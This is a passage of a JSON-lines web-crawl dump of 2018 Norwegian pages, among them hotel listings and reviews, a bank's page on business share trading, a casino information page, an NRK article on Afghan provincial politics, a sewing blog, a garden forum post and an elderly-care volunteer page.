55pluss er jeg ogs\u00e5 tilknyttet om skribent og fast redaksjonsmedlem.  \nVil du ha hjelp med ditt manus, kontakt meg p\u00e5 firstname.lastname@example.org\n\n# Kategorisky\n\n", "language": "no", "__index_level_0__": "2b2f4ead-99e0-4578-ac01-bfe8d6e29123"}
{"url": "https://www.agoda.com/nb-no/le-hameau-de-la-nicoliniere/hotel/bormes-les-mimosas-fr.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-25T00:04:36Z", "text": "\n\n## Oppsummering\n\nIdeelt plassert i Bormes-les-Mimosas, et popul\u00e6rt omr\u00e5de i byen, er Le Hameau de la Nicolini\u00e8re designet for b\u00e5de forretnings- og fritidsreiser. Herfra har gjester lett tilgang til alt den livlige byen har \u00e5 tilby. Med sin beliggenhet, tilbyr hotellet enkel tilgang til alle kjente attraksjoner i byen.  \n  \nVed \u00e5 tilby sine gjester f\u00f8rsteklasses tjenester og et bredt utvalg av fasiliteter, streber Le Hameau de la Nicolini\u00e8re for \u00e5 sikre at ditt opphold blir s\u00e5 komfortabelt som mulig. Hotellet tilbyr gratis wifi p\u00e5 alle rom, parkeringsplass, safe for \u00e5 sikre v\u00e5re gjester den beste komfort.  \n  \nOpplev romfasiliteter av h\u00f8y kvalitet under oppholdet. Noen rom har ogs\u00e5 oppvarming, balkong/terasse, telefon, fjernsyn med LCD-/plasmaskjerm, satellitt-/kabel-TV for \u00e5 hjelpe deg lade batteriene etter en lang dag. Den fullstendige listen over rekreasjonsfasiliteter som er tilgjengelig p\u00e5 hotellet inkluderer dykking, hage, vannsport (ikke-motorisert). Med en ideell beliggenhet og gode fasiliteter, treffer Le Hameau de la Nicolini\u00e8re spikeren p\u00e5 hodet..\n\n| 15 | 16 | 17 | 18 | 19 | 20 | 21 |\n| 22 | 23 | 24 | 25 | 26 | 27 | 28 |\n| 29 | 30 | 31 |    |    |    |    |\n\n| ma | ti | on | to | fr | l\u00f8 | s\u00f8 |\n| -- | -- | -- | -- | -- | -- | -- |\n|    |    |    | 1  | 2  | 3  | 4  |\n| 5  | 6  | 7  | 8  | 9  | 10 | 11 |\n| 12 | 13 | 14 | 15 | 16 | 17 | 18 |\n| 19 | 20 | 21 | 22 | 23 | 24 | 25 |\n| 26 | 27 | 28 |    |    |    |    |\n\nl\u00f8r. 13. jan 2018 \u2013 s\u00f8n. 14. jan 2018(1 natt)\n", "language": "no", "__index_level_0__": "fb8b555d-7c82-4927-a4a1-adb8b5bc2fb8"}
{"url": "http://zitrus.no/laer-mer-om-spill-pa-nett/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:06:31Z", "text": "# Zitrus\n\n# L\u00e6r mer om spill p\u00e5 nett\n\n**F\u00f8r du begir deg ut p\u00e5 nettet for \u00e5 pr\u00f8ve lykken i et casino p\u00e5 nett, er det lurt \u00e5 skaffe seg litt informasjon om hva du b\u00f8r v\u00e6re oppmerksom p\u00e5. Det er fort gjort \u00e5 snuble over useri\u00f8se akt\u00f8rer p\u00e5 nettet, og derfor er det alltid lurt \u00e5 vite litt om hva man begir seg inn p\u00e5.**\n\nVet du for eksempel hvor mye du kan vinne uten \u00e5 skatte av det, eller hvilke casinoer som er trygge? Hvilken betalingsl\u00f8sning passer best for deg? Svar p\u00e5 slike sp\u00f8rsm\u00e5l kan du finne b\u00e5de p\u00e5 informasjonssider hos de store nettcasinoene, rene informasjonssider som Casinospill24 og i b\u00f8ker om spill p\u00e5 nettet.\n\n## Hvor kan jeg finne informasjon?\n\nBlant de mange sidene med informasjon som du kan finne p\u00e5 Internett, er Casinospill24 en av de bedre. Der finner du lister over gode, p\u00e5litelige casinoer, informasjon om ulike bonusordninger, om innskudd og uttak, samt mye mer. P\u00e5 Norsk casinoguide finner du anbefalte casinoer, begynnerguide, tips og artikler. Casinospesialisten er en annen norsk side der du kan finne anmeldelser av, samt lenker til ulike casinoer p\u00e5 nett.\n\n**Hvis du vil sjekke** ut noen utenlandske sider, er for eksempel arcas.se en god svensk side. Blant engelske sider som du kan ta en titt p\u00e5, har Casino Advisor mange gode tips og r\u00e5d, og en egen side for de som er nybegynnere innen nettspill. Det samme har Gambling Sites. Yours4Money har anmeldelser av de st\u00f8rste casinoene p\u00e5 nett, spillnyheter, samt tips og r\u00e5d for deg som spiller p\u00e5 nett.\n\n**Det finnes ogs\u00e5** en god del b\u00f8ker p\u00e5 markedet for deg som \u00f8nsker \u00e5 g\u00e5 litt mer i dybden. Der kan du lese mer om de ulike spillene som tilbys i nettcasinoer, strategier, sjargong og mye mer.\n\n\n\n## Hva annet b\u00f8r jeg tenke p\u00e5?\n\nDet er ogs\u00e5 en god id\u00e9 \u00e5 finne ut litt om hvilke bonusordninger de ulike sidene tilbyr deg. I mylderet av nye casinoer p\u00e5 nett er det lett \u00e5 hoppe p\u00e5 et tilbud som ser forlokkende ut, men som fort kan vise seg \u00e5 v\u00e6re lite gunstige. Ta deg tid til \u00e5 sjekke tilbudene fra flere nettcasinoer f\u00f8r du bestemmer deg for hvilket som passer best for deg.\n\n", "language": "no", "__index_level_0__": "5cf6358d-ce7e-40dc-ab3a-e319d7806470"}
{"url": "https://www.sor.no/bedrift/sparebanken-sor-markets/aksjehandel-for-bedrifter/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:30:27Z", "text": "# Aksjehandel for bedrifter\n\nV\u00e5re finansmeglere i\u00a0Sparebanken S\u00f8r Markets tilbyr r\u00e5dgivning og andre tjenester innenfor aksjehandel.\n\n## Fordelen med meglerbordet\n\n  - Megler har mulighet til \u00e5 gi r\u00e5d om du \u00f8nsker det\u00a0\n## Markedsrapporter\n\nMeld deg p\u00e5 v\u00e5rt nyhetsbrev og f\u00e5 rapportene v\u00e5re kostnadsfritt tilsendt p\u00e5 e-post.\n## Aksjehandel\u00a0via meglerbordet\n\nAksjehandel for bedrifter gj\u00f8res via meglerbordet. V\u00e5re meglere har mulighet for \u00e5 gi r\u00e5d n\u00e5r det er mulig og \u00f8nskelig, for eksempel om selskaper p\u00e5 OBX-listen (selskaper med god analysedekning). Aksjehandel gjelder handel av aksjer p\u00e5 Oslo B\u00f8rs.\n\n## Forutsetninger for aksjehandel\n\nTilgang til aksjehandel for bedriften forutsetter at bedriften er kunde i Sparebanken S\u00f8r og har eller f\u00e5r etablert VPS-konto hos oss. Enkeltmannsforetak kan, under gitte forutsetninger, knyttes opp mot privat nettbank og f\u00e5 egen handleprofil.\n\n## Nytt krav: Legal Entity Identifyer (LEI) for foretak som handler aksjer\n\nFinanstilsynet utvikler et nytt transaksjonsrapporteringssystem (TRS) som f\u00f8lge av forordning (EU) nr. 600/2014 om markeder for finansielle instrumenter (MiFID II) og planlagt innf\u00f8ring av regelverket i Norge fra 1. januar 2018. Rapporteringsplikten omfatter, som tidligere, transaksjoner i finansielle instrumenter notert p\u00e5 regulert marked og dermed foretaks aksjehandler gjennom Norne Securities.\n\nAlle foretak som handler aksjer gjennom Norne Securities m\u00e5 derfor skaffe seg LEI-nummer.  \nLEI-nummer m\u00e5 skaffes fra autorisert tilbyder og er en kostnadsbelagt tjeneste. Eksempel p\u00e5 tilbydere som kan kontaktes i denne forbindelse er:\n\n  - NordLei\n  - WM Datenservice\n  - London Stock Exchange\n\nFor mer informasjon om dette ta kontakt med din r\u00e5dgiver i Sparebanken S\u00f8r eller ta kontakt med firstname.lastname@example.org.\n\n## Fordelen med meglerbordet\n\n  - Megler har mulighet til \u00e5 gi r\u00e5d om du \u00f8nsker det\u00a0\n\n", "language": "no", "__index_level_0__": "511bd2dc-430f-4ca5-b054-003cfffd3d1d"}
{"url": "https://www.booking.com/hotel/ch/ascona.no.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:14:23Z", "text": "# tilbud p\u00e5 Hotel Ascona (Sveits)\n\n \n\n## Hotel Ascona\n\n4-stjernershotell ** Dette overnattingsstedet er med i v\u00e5rt program for prioriterte overnattingssteder. De tilbyr god service, gir god valuta for pengene og har sv\u00e6rt gode omtaler fra Booking.coms gjester. Det kan hende de betaler Booking.com litt mer for \u00e5 delta i dette programmet.\n\n**F\u00f8rsteklasses** beliggenhet: 9,2 av 10 poeng\\! (poengsnitt fra **1131** gjesteomtaler)\n\nPoengene er gitt av gjestene **etter oppholdet deres** p\u00e5 Hotel Ascona.\n\nSikre deg en gunstig pris p\u00e5 Hotel Ascona \u2013 det har f\u00e5tt 8,6 poeng av gjester som nylig har bodd her.\n\nAngi datoer for \u00e5 komme i gang.\n\n\n\nBilde av Ascona fra Daniel (gjest)\n\n20\\. januar 2018\n\n\n\n\n\n\n\nBilde av Ascona fra Daniel (gjest)\n\n20\\. januar 2018\n\nSikre deg en gunstig pris p\u00e5 Hotel Ascona \u2013 det har f\u00e5tt 8,6 poeng av gjester som nylig har bodd her.\n\n Excellent view. Friendly and welcoming staff. A little bit quirky. Close to the town. \n Roger,    Sveits   \n\n Free upgraded room on check in to one with a lovely view of the lake.Friendly staff and good secure parking. \n\n Matthew,    Sveits   \n\n amazing view, free parking (booking say you have to pay 10 CHF/day, it's wrong it's for free\\!), Swimming pool and grotto bar. It's also quite close to the city center if you're in good shape it took 5min to go down to the city center and less than 10min to come up \n\n Alex,    Sveits   \n\n We VERY much appreciated the free upgrade to a balcony room with view of the mountains and lake - it was amazing to sit outside whenever possible to take in the beautiful surroundings. Terrific location on the mountain-side. Short walk to the town for shopping etc. Pool and grounds were well kept and the staff were pleasant. Very clean. \n\n M,    Canada   \n\n Incredible service; we were upgraded to a fantastic a room with a balcony. The owner is extremely kind and takes time to greet the guests. Great food in the restaurant, fantastic location, nice garden and a swimming pool. Recommended without any hesitation\\! \n\n Agnieszka,    Norge   \n\n We received an unexpected room upgrade on arrival the hotel was great but this made it better. \n\n Malcolm,    Storbritannia   \n\n Location, view, pool, big room with view and terrace, friendly welcome with drink \n\n Rick,    Sveits   \n\n The view from the pool\\! Lots of sun loungers by the pool and garden. Diner on the balcony was delicious and good value. \n\n Valerie,    Storbritannia   \n\n Like many hotels in Switzerland, it is a bit dated. But it is still a beautiful hotel\\! Very relaxing and romantic. \n\n Dee,    Sveits   \n\n The view from the terrace in the morning with a cup of coffee \nUtmerket beliggenhet\\!\n\n  9,2  \n**En av v\u00e5re favoritter i Ascona.Dette hotellet har en fredelig og privilegert beliggenhet p\u00e5 legendariske Monte Verit\u00e0, og har utsikt over innsj\u00f8en Maggiore og de omliggende fjellene.\n\nDu kan nyte panoramautsikten fra hotellets subtropiske hage. Den ekstraordin\u00e6re utsikten kan ogs\u00e5 nytes fra terrassen, pergolaen og fra det oppvarmede bassenget (26\u00b0). P\u00e5 Hotel Ascona kan du fordype deg i naturen og la kropp og sjel gjenf\u00f8des.\n\nHotellet arrangerer bl.a. Ticino-kvelder med musikk og retter fra regionen, som er akkompagnert av Biasca-Caroni familiekor, eller gallakvelder med pianomusikk p\u00e5 terrassen eller i spisestuen, samt i baren.  \n\nDette er v\u00e5re gjesters favorittomr\u00e5de i Ascona, if\u00f8lge uavhengige gjesteomtaler.\n\nPar anbefaler beliggenheten til alle som reiser hit sammen med en annen. De har gitt beliggenheten **9,1** i score.\n\nDette overnattingsstedet anbefales for deg som vil ha valuta for pengene i Ascona. Andre gjester som har bodd her, mener de f\u00e5r mer igjen for pengene sammenlignet med andre overnattingssteder i byen.\n\n Vertskapet p\u00e5 Hotel Ascona har tatt imot gjester fra Booking.com siden 10. mars 2010.  \n\n### De mest popul\u00e6re fasilitetene\nPasser godt for par: Andre som reiser sammen med en annen, har gitt fasilitetene 8,3 i score.\n\n *\ub334* Eget bad \n\n     \n\n *\ub334* Eget bad \n\n**Romst\u00f8rrelse** 35 m\u00b2\n\nDette fullt utstyrte rommet tilbyr sj\u00f8utsikt og rolig atmosf\u00e6re, og har et eget bad med dusj, h\u00e5rf\u00f8ner og t\u00f8fler.\n\n**Romfasiliteter:**\n\n \n\n *\ub334* Eget bad \n\n**Romst\u00f8rrelse** 8 m\u00b2\n\nSmall, carpeted room without view.  \n  \nPlease note that extra beds or baby cots are not available for this room type.\n\n *\ub334* Eget bad \n\nThis single room features a balcony and lake views.  \n  \nPlease note that extra beds or baby cots are not available for this room type.\n    \n\n *\ub334* Eget bad \n\n**Romst\u00f8rrelse** 28 m\u00b2\n\nDette s\u00f8rvendte rommet tilbyr en balkong med utsikt over innsj\u00f8en, og har et eget bad med dusj, h\u00e5rf\u00f8ner og t\u00f8fler.\n\n**Romfasiliteter:**\n\nGratis WiFi\\!\n **  Barn og ekstrasenger\n\nBarn kan overnatte her\n0\u20132 \u00e5r\n\nKan sove i barneseng  etter avtale eller i en av sengene som allerede finnes\n\n GRATIS \n\n3\u201311 \u00e5r\n\n **   ** \n\nKan sove i ekstraseng eller i en av sengene som allerede finnes,  etter avtale\n\n GRATIS \n\n12\u201317 \u00e5r\n\nKan sove i ekstraseng  etter avtale\n\n CHF\u00a070 per barn per natt   ** \n\nKan sove i en av sengene som allerede finnes\n\n 100 % per barn per natt   ** \n\nOver 18 \u00e5r\n\nKan sove i ekstraseng  etter avtale\n\n CHF\u00a070 per person per natt   ** \n\nDet maksimale antallet ekstrasenger, barnesenger og barn som er tillatt i eksisterende senger avhenger av rommet du velger. Sjekk rommet du har valgt for \u00e5 se maksantallet.\n\n **  Kj\u00e6ledyr\n\nKj\u00e6ledyr er tillatt. Dette kan imidlertid koste ekstra.\n\n **   Godkjente betalingskort p\u00e5 dette overnattingsstedet \n\nHotel Ascona godkjenner disse kortene, og forbeholder seg retten til \u00e5 reservere et bel\u00f8p p\u00e5 kortet ditt f\u00f8r innsjekking.\n\nHold musepekeren over kortene for mer informasjon.\n\nSe hva som er ledig\n\nDet med liten skrift\n\nPlease note that the city tax includes the Ticino Ticket. It offers free benefits and discounts in the Canton of Ticino, including free use of train and bus services. For more details, please contact the property directly.\n\nEller du kan se om disse alternativene faller i smak?\n\n  - ** Hotel Garni Muralto har f\u00e5tt 9,1 i poeng fra gjester\n\n\n\n**Folkets favoritt**\n\n*For at gjesteomtalene og -poengene skal oppleves som relevante og aktuelle, arkiverer vi omtaler som er eldre enn 24 m\u00e5neder.*\n\nKun gjester som har booket via Booking.com og har bodd p\u00e5 det aktuelle overnattingsstedet, kan skrive gjesteomtaler. Dette gj\u00f8r at vi vet at omtalene v\u00e5re er skrevet av ekte gjester, som deg selv. Hvem er vel bedre til \u00e5 fortelle andre om den gratis frokosten, den vennlige betjeningen eller det stille rommet enn noen som faktisk har bodd p\u00e5 overnattingsstedet?\n\nVi vil gjerne at du deler erfaringene dine med oss, b\u00e5de de positive og de negative. Alt vi ber deg om, er at du f\u00f8lger noen f\u00e5 enkle retningslinjer.\n\n**Omtaler**\n\nV\u00e5r oppfatning er at innsendte omtaler fra gjester og svar fra overnattingsstedene viser opp et bredt utvalg av meninger og erfaringer, noe som er sv\u00e6rt viktig hvis gjestene skal kunne ta velfunderte beslutninger om hvor de vil overnatte.\n\n**Prinsipper for omtaler**\n\nVi ser p\u00e5 alle bidrag til Booking.com som uttrykk for engasjementet til gjestene og overnattingsstedene v\u00e5re, og behandler derfor alle bidrag med respekt.\n\nUansett om kommentarene er positive eller negative, publiseres alle kommentarer i sin helhet og s\u00e5 raskt som mulig, etter at de er funnet \u00e5 v\u00e6re i henhold til Booking.coms retningslinjer. Vi tilbyr dessuten innsyn n\u00e5r det gjelder statusen p\u00e5 innholdet du har sendt inn.\n\nN\u00e5r du har sendt inn en gjesteomtale, kan denne endres ved \u00e5 ta kontakt med Booking.com Kundeservice.\n\nVi bruker de samme retningslinjene for alt brukergenerert innhold s\u00e5 vel som for overnattingsstedenes svar p\u00e5 dette innholdet.\n\nVi lar bidragene tale for seg, og kommer ikke til \u00e5 legge oss opp i hvordan virkeligheten beskrives. Booking.coms rolle er \u00e5 v\u00e6re en distribut\u00f8r av tilbakemeldinger fra b\u00e5de gjesten og overnattingsstedet.\n\n**Retningslinjer for omtaler**\n\nDisse retningslinjene har som m\u00e5lsetning \u00e5 s\u00f8rge for at innholdet p\u00e5 Booking.com er relevant og familievennlig, uten at vi hindrer noen i \u00e5 uttrykke sterke meninger. Retningslinjene gjelder ogs\u00e5 uansett hvilke synspunkter kommentaren formidler.\n\n**Bidragene skal v\u00e6re reiserelatert.** De nyttigste bidragene er de som er grundige og detaljerte og som hjelper andre med \u00e5 ta bedre avgj\u00f8relser. Vennligst unng\u00e5 personfokuserte, politiske, uetiske eller religionskritiske kommentarer. Markedf\u00f8ringsrelatert innhold vil bli fjernet, og kommentarer om Booking.coms tjenester skal sendes til v\u00e5re kundeservice-team (Customer Service og Accommodation Service).\n\n**Bidragene skal fremst\u00e5 som passende for et globalt publikum.** Vennligst unng\u00e5 \u00e5 bruke banning samt fors\u00f8k p\u00e5 \u00e5 skjule banning med kreative skrivem\u00e5ter uansett spr\u00e5k. Kommentarer og media som omfatter hatefulle ytringer, diskriminerende bemerkninger, trusler, seksuelt eksplisitte bemerkninger, vold og promotering av ulovlig aktivitet tillates ikke.\n\n**Alt innhold skal v\u00e6re ekte og unikt for gjesten.** Gjesteomtaler har st\u00f8rst effekt n\u00e5r de er ekte og objektive. Bidraget ditt skal v\u00e6re ditt eget. Samarbeidspartnere av Booking.com skal ikke sende inn kommentarer p\u00e5 vegne av gjester eller tilby incentiver i bytte mot gode omtaler. Fors\u00f8k p\u00e5 \u00e5 sabotere poengsnittet til en konkurrent ved \u00e5 sende inn en negativ omtale vil ikke tolereres.\n\n**Respekter andres privatliv.** Vi i Booking.com vil gj\u00f8re det vi kan for \u00e5 skjule e-postadresser, telefonnumre, nettadresser, kontoer i sosiale medier og lignende opplysninger.\n\n**Meningene som uttrykkes i bidragene tilh\u00f8rer Booking.coms kunder og overnattingssteder og ikke Booking.com selv. Booking.com tar ikke p\u00e5 seg ansvar eller forpliktelser for noen omtaler eller svar p\u00e5 omtaler. Booking.com er en distribut\u00f8r (uten verifiseringsplikt) og ikke en ansvarlig utgiver av disse kommentarene og svarene.**\n\nOmtalene sorteres automatisk ut fra datoen p\u00e5 omtalen, i tillegg til andre kriterier. Dette er for \u00e5 kunne vise deg de mest relevante omtalene, som omtaler p\u00e5 spr\u00e5ket ditt, omtaler med kommentarer, og ikke-anonyme omtaler. Det kan i tillegg v\u00e6re mulig \u00e5 sortere omtaler basert p\u00e5 flere kriterier (som type gjest, antall gjestepoeng osv.).\n\n### Dette likte gjestene best:\n\n\u00abExcellent view. Friendly and welcoming staff. A little bit quirky. Close to the town.\u00bb\n\n\n\nRoger  \n** Sveits\n\n\u00abFree upgraded room on check in to one with a lovely view of the lake.Friendly staff and good secure parking.\u00bb\n\n\n\nMatthew  \n** Sveits\n\n\u00abamazing view, free parking (booking say you have to pay 10 CHF/day, it's wrong it's for free\\!), Swimming pool and grotto bar. It's also quite close to the city center if you're in good shape it took 5min to go down to the city center and less than 10min to come up\u00bb\n\n\n\nAlex  \n** Sveits\n\n\u00abWe VERY much appreciated the free upgrade to a balcony room with view of the mountains and lake - it was amazing to sit outside whenever possible to take in the beautiful surroundings. Terrific location on the mountain-side. Short walk to the town for shopping etc. Pool and grounds were well kept and the staff were pleasant. Very clean.\u00bb\n\n\n\nM  \n** Canada\n\n\u00abIncredible service; we were upgraded to a fantastic a room with a balcony. The owner is extremely kind and takes time to greet the guests. Great food in the restaurant, fantastic location, nice garden and a swimming pool. Recommended without any hesitation\\!\u00bb\n\n\n\nAgnieszka  \n\u00abWe received an unexpected room upgrade on arrival the hotel was great but this made it better.\u00bb\n\n\u00abThe view from the terrace in the morning with a cup of coffee\u00bb\n### Godkjente omtaler fra ekte gjester.\n\nVi har mer enn 70 millioner omtaler av overnattingssteder fra **ekte, verifiserte gjester.**\n\n### Slik fungerer det\n\n    #### Det begynner med en booking\n    \n    F\u00f8r man kan skrive en gjesteomtale, m\u00e5 man f\u00f8rst ha booket et opphold hos oss. Slik kan vi forsikre oss om at omtalene v\u00e5re kommer fra gjester som faktisk har bodd p\u00e5 overnattingsstedet.\n\n  - \n  - 2\n    \n    #### Etterfulgt av et opphold\n    \n    Vel fremme opplever gjestene om det er stille og fredelig p\u00e5 rommet, om de ansatte er hjelpsomme, om frokosten er god, osv.\n\n  - \n  - 3\n    \n    #### Og til slutt, en omtale\n    \n    Etter reisen forteller gjestene oss om oppholdet. Vi sjekker at ingen av omtalene inneholder st\u00f8tende spr\u00e5k og ser til at de er skrevet av gjester som faktisk har bodd p\u00e5 stedet, f\u00f8r vi legger dem ut p\u00e5 nettsidene v\u00e5re.\n\nHvis du har booket gjennom oss og vil skrive en omtale, m\u00e5 du logge inn f\u00f8rst.\n\n| ma. | ti. | on. | to. | fr. | l\u00f8. | s\u00f8. |\n| --- | --- | --- | --- | --- | --- | --- |\n|     |     |     |     |     |     |     |\n|     |     |     |     |     |     |     |\n", "language": "no", "__index_level_0__": "82a05e3c-03ba-4919-9057-2a2598f76251"}
{"url": "http://prinsessevilikke.blogspot.com/2012/02/kjole-til-sykursnybegynner.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:05:35Z", "text": "\n\n## l\u00f8rdag 25. februar 2012\n\n### Kjole til sykurs\u2013nybegynner\n\n\n\nKjolen er sydd av poplin fra Sydilla. Butikken anbefales p\u00e5 det sterkeste. Superrask levering og fantastisk kvalitet.\n\nDenne kjolen kan du l\u00e6re \u00e5 sy p\u00e5 sykurs 20 mars. Kurset er for nybegynnere og m\u00f8nsteret er i str 6 mnd til 3 \u00e5r. (Jeg kan hjelpe til med \u00e5 forst\u00f8rre m\u00f8nsteret til st\u00f8rre str)\n\n(Den skal f\u00e5 knapper.)\n\n13:36              \n\n#### 1 kommentar:\n\n \n\nFiiin kjole:)  \n  \nHadde v\u00e6rt koselig \u00e5 bli med.  \nKjolen kunne jeg til n\u00f8d kanskje ha klart \u00e5 sy p\u00e5 egenh\u00e5nd, men syskravling er definitivt artigere i hyggelig selskap...  \n  \nLykke til\\!\\!\n\n 16. april 2012 kl. 12:57    \n\n  - Prinsesse Vilikke\n", "language": "no", "__index_level_0__": "bc1288ba-cd41-47c6-833e-7a417cfa5dd5"}
{"url": "https://www.nrk.no/urix/maktspill-i-faryab-provinsen-1.8344529", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-25T00:30:35Z", "text": "# Maktspill i Faryab-provinsen etter norsk exit\n\nDe norske styrkene har s\u00e5 vidt forlatt Faryab-provinsen i Afghanistan, men allerede er guvern\u00f8ren presset til \u00e5 g\u00e5 av. Arvtakeren har tette b\u00e5nd til en beryktet krigsherre.\n\n\n\nAhmed Faisal Bigzad fikk bare i overkant av \u00e9n m\u00e5ned i guvern\u00f8rstolen f\u00f8r han denne uken ble presset ut av stillingen, if\u00f8lge Klassekampen.\n\nErstatteren Mohammadullah Batash regnes for \u00e5 ha sterke forbindelser til krigsherren Abdul Rashid Dostum, som har en rekke krigsforbryteranklager heftet ved seg.\n\n**Forskere avisen har snakket med, hevder at Dostum har trukket i tr\u00e5dene for \u00e5 f\u00e5 Bigzad fjernet fra stillingen, til fordel for en mer lojal st\u00f8ttespiller med samme etniske bakgrunn.**\n\n## Etnisk spenning\n\nB\u00e5de Batash og Dostum er usbekere. Batash tilh\u00f8rer Junbesh, et parti som tidligere var en milits ledet av Dostum, men som i den senere tid har beveget seg i retning av \u00e5 bli et demokratisk parti som kjemper for usbekernes rettigheter i Afghanistan.\n\nDen norske forsvarsledelsen har advart mot \u00f8kt spenning i Faryab, som er et etnisk lappeteppe som foruten usbekere ogs\u00e5 best\u00e5r av tadsjikere, pasjtunere, turkmenere og hazaraer.\n\n## Dostums rolle\n\nForsker Abdul Suboh Faizy ved Senter for internasjonal strategisk analyse mener at Dostum utvilsomt har spilt en rolle i guvern\u00f8rskiftet.\n\n**\u2013 Det er mange som posisjonerer seg f\u00f8r det kommende presidentvalget, og Faryab er en n\u00f8kkel til den politiske kontrollen i Nord-Afghanistan, sier Faizy.**\n\nSt\u00e5le Ulriksen ved Sj\u00f8forsvaret og Norsk Utenrikspolitisk Institutt (NUPI) understreker at Dostums posisjon er styrket, men tror ikke at han n\u00e5 styrer politikken i Faryab.\n\n**\u2013 Dostum er ikke inne i den daglige politikken, men han beholder den harde makten gjennom sin posisjon, sier p\u00e5peker Ulriksen.**\n\n  Publisert  03.10.2012, kl. 08.44 \n\n\n\n## Mann d\u00f8d etter \u00e5 ha blitt skutt av politiet i Sverige\n\nMannen som ble skutt av svensk politi i forbindelse med en p\u00e5gripelse i byen Lule\u00e5, er d\u00f8d, melder politiet.\n\n\n\n## Knuser v\u00e5penlobbyen p\u00e5 Twitter\n\nEtter at Emma Gonz\u00e1lez overlevde masseskytingen p\u00e5 skolen sin 14. februar p\u00e5 Parkland opprettet hun en Twitterkonto for \u00e5 bekjempe v\u00e5penlobbyen. N\u00e5 har hun dobbelt s\u00e5 mange f\u00f8lgere som National Rifle Association.\n\nAv Anja Str\u00f8nen\n\n## Norsk gullrush sett fra utlandet\n\nAv Guri Norstr\u00f8m\n", "language": "no", "__index_level_0__": "facf1566-f5ff-4b43-acbe-2b2263900291"}
{"url": "http://rcfilmfestival.com/06050.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:02:04Z", "text": "Velkommen til en annerledes filmfestival\\!  \n  \nVi mener det er p\u00e5 h\u00f8y tid at en filmfestival setter fokus p\u00e5 de sterke meningene, de personlige vinklingene og de tydelige budskapene.  \n\n  \nDet er derfor med glede at vi kan by p\u00e5 et oppsiktsvekkende bra program i denne f\u00f8rste \u00e5rlige ugaven av Red Carpet International Film Festival.  \n\n  \n\nMed klare meldinger og sterke budskap er dette sjansen til \u00e5 oppleve noe annet enn den s\u00f8vndyssende, amerikanisert virkeligheten som preger den norske mediehverdagen. Velkommen\\!  \n\n  \nKnut Erik Jensen til Hommelvik  \n\n\n\n  \n\u00abHeftig og begeistret\u00bb-regiss\u00f8r Knut Erik Jensen kommer til Hommelvik med sin nye film \u00abDet akutte menneske\u00bb - et usminket portrett av professoren, oppr\u00f8reren, natur-mennesket og medmennesket Mads Gilbert.  \n\nKnallsterke tr\u00f8nderske filmer - UNCUT\\!  \n\n  \n\nB\u00e5de \u00abKampen om Tamshavnbanen\u00bb og \u00abHelsefabrikken\u00bb er filmer som er s\u00e5 kontroversielle at NRK velger \u00e5 sende dem i vingeklippede versjoner. Klippingen av \u00abHelsefabrikken\u00bb skapte nylig en het debatt, mens \u00abKampen om Tamshavnbanen\u00bb m\u00e5tte redigeres om etter press utenfra og vises p\u00e5 TV senere i \u00e5r. Dette er en unik muighet til \u00e5 se filmene \u00abuncut\u00bb, slik de var ment \u00e5 v\u00e6re\\!  \n\n  \nCaf\u00e9 Rampa er \u00e5rstedet for avslutningsfesten klokka 21.00 p\u00e5 l\u00f8rdag 7. mai.\u00a0  \n\n", "language": "no", "__index_level_0__": "cdcf306a-e586-4e24-bd0b-77cc07b17285"}
{"url": "http://forum.hagegal.no/viewtopic.php?f=20&p=563903", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:44:37Z", "text": "## Begonia - delvis r\u00e5tten knoll\n**Moderatorer:** toveve, AnneP\u00e5Landet, Villrose\n\n### Begonia - delvis r\u00e5tten knoll\n\n **Cath** Man Feb 19, 2018 18:12\n\nHei\\!  \n  \nJeg har glemt bort en begoniaknoll som ble st\u00e5ende i potte i garasjen gjennom vinteren.  Ser n\u00e5 at noe av knollen er r\u00e5tten, mens en del ser frisk ut. Er det noe h\u00e5p eller er det bare \u00e5 kaste?   \n  \nCath\n\n  - Cath  \n    Lite snakkesalig bruker. Enn\u00e5.  \n    \n    \u00a0\n    **Registrert:** Man Feb 19, 2018 17:54\n\n", "language": "no", "__index_level_0__": "e1569db7-817c-4b5e-ab36-783a52649e54"}
{"url": "https://livsgledeforeldre.no/vart-arbeid/prosjekter/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:11:53Z", "text": "# H\u00f8gskole og Universitet\n\nLivsglede for Eldre \u00f8nsker \u00e5 rekruttere til eldreomsorgen. I eldreomsorgen kan man fokusere p\u00e5 mulighetene, ressursene og gledene. Vi vil bidra til \u00e5 \u00f8ke studentengasjement og rekruttere flere til jobb i eldreomsorgen etter endt utdanning.\u00a0Livsglede for Eldre underviser om mulighetene som ligger i system, samarbeid og frivillighet. V\u00e5rt hovedfokus er helsefaglige utdannelser med praksis i sykehjem.\n\nVi inviterer alltid studentene med som frivillige ressurser i skolens n\u00e6rmilj\u00f8. Gjennom studentdrevne lokalforeninger\u00a0f\u00e5r studentene brukt sine interesser og ressurser i hyggelig m\u00f8ter og aktiviteter sammen med hjemmeboende eldre eller sykehjemsbeboere.\n\n\u00d8nsker deres h\u00f8gskole \u00f8kt studentengasjement og fokus p\u00e5 mulighetene i eldreomsorgen? Kontakt oss for mer informasjon\\!\n\n\n\nBilde hentet fra v\u00e5rt bes\u00f8k p\u00e5 HSN Drammen 